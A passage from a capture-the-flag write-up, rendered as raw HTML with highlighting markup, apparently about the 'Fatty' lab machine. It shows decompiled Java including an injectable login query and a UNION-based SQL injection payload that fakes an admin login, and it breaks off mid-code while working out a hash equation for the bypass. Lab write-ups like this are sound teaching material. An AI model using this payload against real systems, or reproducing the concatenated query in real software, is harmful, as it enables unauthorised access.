class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageParseException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message parsing.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message building.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message sending.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> FileOutputStream fos;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Saving file to '\/tmp\/fatty-server.jar'.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> fos = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">FileOutputStream<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"\/tmp\/fatty-server.jar\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> fos.<\/span><span class=\"enlighter-m3\">write<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">serverResponse<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> fos.<\/span><span class=\"enlighter-m3\">close<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failed to save file from server.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>After this<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>code is executed, we can see that<span>\u00a0<\/span><em>fatty-server.jar<\/em><span>\u00a0<\/span>is written to the<span>\u00a0<\/span><code>\/tmp<\/code><span>\u00a0<\/span>directory:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/tmp$ ls -lh fatty-server.jar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> pentester pentester 11M Oct <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">13<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">41<\/span><span class=\"enlighter-text\"> fatty-server.jar<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h3 id=\"sql-injection\">3.9 \u2013 The SQL Injection<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>Now that we have the server executable, we can also decompile it and take look at the source code. A good starting point is of course the login procedure, since we already got some hints that it is vulnerable to<span>\u00a0<\/span><em>SQL injection<span>\u00a0<\/span><\/em>attacks. To find the class that is responsible for the<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>query, we can simply start a search for strings like<span>\u00a0<\/span><code>SELECT<\/code>. We will find the class<span>\u00a0<\/span><code>htb.fatty.server.database.FattyDbSession<\/code>, which performs the user lookup during login.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> User <\/span><span class=\"enlighter-m0\">checkLogin<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">User user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">throws<\/span><span class=\"enlighter-text\"> LoginException <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Statement stmt = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ResultSet rs = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User newUser = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> stmt = <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">conn<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">createStatement<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> rs = stmt.<\/span><span class=\"enlighter-m3\">executeQuery<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"SELECT id,username,email,password,role FROM users WHERE username='\"<\/span><span class=\"enlighter-text\"> + user.<\/span><span class=\"enlighter-m3\">getUsername<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-s0\">\"'\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-c0\"> \/\/ To prevent bruteforce sql injection attacks<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Thread.<\/span><span class=\"enlighter-m3\">sleep<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">3000<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">InterruptedException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> rs.<\/span><span class=\"enlighter-m3\">next<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">int<\/span><span class=\"enlighter-text\"> id = rs.<\/span><span class=\"enlighter-m3\">getInt<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"id\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> username = rs.<\/span><span class=\"enlighter-m3\">getString<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"username\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> email = rs.<\/span><span class=\"enlighter-m3\">getString<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"email\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> password = rs.<\/span><span class=\"enlighter-m3\">getString<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"password\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> role = rs.<\/span><span class=\"enlighter-m3\">getString<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"role\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> newUser = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">id, username, password, email, Role.<\/span><span class=\"enlighter-m3\">getRoleByName<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">role<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-e0\">false<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> newUser.<\/span><span class=\"enlighter-m3\">getPassword<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">equalsIgnoreCase<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user.<\/span><span class=\"enlighter-m3\">getPassword<\/span><span class=\"enlighter-g1\">()))<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> newUser;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">throw<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">LoginException<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"Wrong Password!\"<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">throw<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">LoginException<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"Wrong Username!\"<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">SQLException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logError<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure with SQL query: ==&gt; SELECT id,username,email,password,role FROM users WHERE username='\"<\/span><span class=\"enlighter-text\"> + user.<\/span><span class=\"enlighter-m3\">getUsername<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-s0\">\"' &lt;==\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logError<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Exception was: '\"<\/span><span class=\"enlighter-text\"> + e.<\/span><span class=\"enlighter-m3\">getMessage<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-s0\">\"'\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The<span>\u00a0<\/span><code>checkLogin<\/code><span>\u00a0<\/span>function is obviously vulnerable against<span>\u00a0<\/span><em>SQL injection<span>\u00a0<\/span><\/em>attacks, but<span>\u00a0<\/span><em>username<span>\u00a0<\/span><\/em>and<span>\u00a0<\/span><em>password<span>\u00a0<\/span><\/em>cannot be bypassed at the same time. The application uses the supplied<span>\u00a0<\/span><em>username<span>\u00a0<\/span><\/em>to fetch the corresponding database entry and then compares the entered password with the password from the obtained entry. So we cannot simply use a bypass like<span>\u00a0<\/span><code>' or 1=1 --<\/code><span>\u00a0<\/span>for both,<span>\u00a0<\/span><em>username<span>\u00a0<\/span><\/em>and password.<\/p>\n<p>But this is also not what we want. Remember that<span>\u00a0<\/span><em>Dave<span>\u00a0<\/span><\/em>told us, that<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>is the only user account that was kept in the database. Therefore, to login as another higher privileged user is not possible. Instead we could try to exfiltrate other information from the database, but also this sounds not very promising, since there is a manual query delay of three seconds.<\/p>\n<p>Is the<span>\u00a0<\/span><em>SQL injection<span>\u00a0<\/span><\/em>now unusable for us? The answer is no and exploiting this<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>is actually pretty easy once you find the trick. We can simply use a<span>\u00a0<\/span><em>UNION<\/em><span>\u00a0<\/span>query to login with a<span>\u00a0<\/span><em>fake user account<\/em><span>\u00a0<\/span>that does not even exist inside the database. Consider e.g. the following<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>query:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">SELECT<\/span><span class=\"enlighter-text\"> id,username,email,password,role <\/span><span class=\"enlighter-k0\">FROM<\/span><span class=\"enlighter-text\"> users <\/span><span class=\"enlighter-k0\">WHERE<\/span><span class=\"enlighter-text\"> username=<\/span><span class=\"enlighter-s0\">'nope'<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">UNION<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">SELECT<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-s0\">'fake'<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-s0\">'fake@fake.fake'<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-s0\">'fakepassword'<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-s0\">'admin'<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Since<span>\u00a0<\/span><code>nope<\/code><span>\u00a0<\/span>is no valid user account, the first<span>\u00a0<\/span><em>SELECT<\/em><span>\u00a0<\/span>query does not return anything. However, by using the<span>\u00a0<\/span><em>UNION<\/em><span>\u00a0<\/span>operator and a second<span>\u00a0<\/span><em>SELECT<\/em><span>\u00a0<\/span>statement, that just returns some static data, we can generate a result with user controlled values for the whole<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>query. The rest of the code, that is using the query result, will then take the faked<span>\u00a0<\/span><em>password<span>\u00a0<\/span><\/em>field with a value of<span>\u00a0<\/span><code>fakepassword<\/code><span>\u00a0<\/span>and compare it to the password that was entered during login. Since both values are user controlled, we can easily pass this check. Furthermore, the rest of the code will use the faked<span>\u00a0<\/span><em>rolename<span>\u00a0<\/span><\/em>field with a value of<span>\u00a0<\/span><code>admin<\/code><span>\u00a0<\/span>and will use this for access control checks. Summarized, the<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>allows us to login as a non existing admin user. Sounds good!<\/p>\n<p>However, there is one minor problem which prevents us from exploiting the<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>from the graphical user interface. We already saw that the client sends the password as a hash to the server. When looking closer to the source code, we can see that the password hash is not hashed again on the server side. Instead the hash transmitted by the client is just compared against the password that is stored inside the database. By inspecting the<span>\u00a0<\/span><code>htb.fatty.shared.resources.User<\/code><span>\u00a0<\/span>class, we find the following function responsible for calculating the password hash:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> hashString = <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">username<\/span><span class=\"enlighter-text\"> + password + <\/span><span class=\"enlighter-s0\">\"clarabibimakeseverythingsecure\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">MessageDigest digest = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> digest = MessageDigest.<\/span><span class=\"enlighter-m3\">getInstance<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"SHA-256\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">NoSuchAlgorithmException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> e.<\/span><span class=\"enlighter-m3\">printStackTrace<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k5\">byte<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> hash = digest.<\/span><span class=\"enlighter-m3\">digest<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">hashString.<\/span><span class=\"enlighter-m3\">getBytes<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">StandardCharsets.<\/span><span class=\"enlighter-m3\">UTF_8<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As you can see, the hash is calculated by using a string that also contains the<span>\u00a0<\/span><em>username<\/em>. If we now want to exploit the<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>as mentioned above, we need to specify a<span>\u00a0<\/span><em>fakepassword<span>\u00a0<\/span><\/em>as part of the username and need to make sure that the client transmits the same<span>\u00a0<\/span><em>fakepassword<span>\u00a0<\/span><\/em>as the password hash value. This is basically a<em><span>\u00a0<\/span>chicken or the egg problem<\/em><span>\u00a0<\/span>and requires us to solve the following equation:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-m0\">x<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">y<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> = SHA-<\/span><span class=\"enlighter-m0\">256<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"nope' UNION SELECT 1,'fake','fake@fake.fake','x(y)','admin'\"<\/span><span class=\"enlighter-text\"> + y + <\/span><span class=\"enlighter-s0\">\"clarabibimakeseverythingsecure\"<\/span><span class=\"enlighter-text\"> <\/span><span 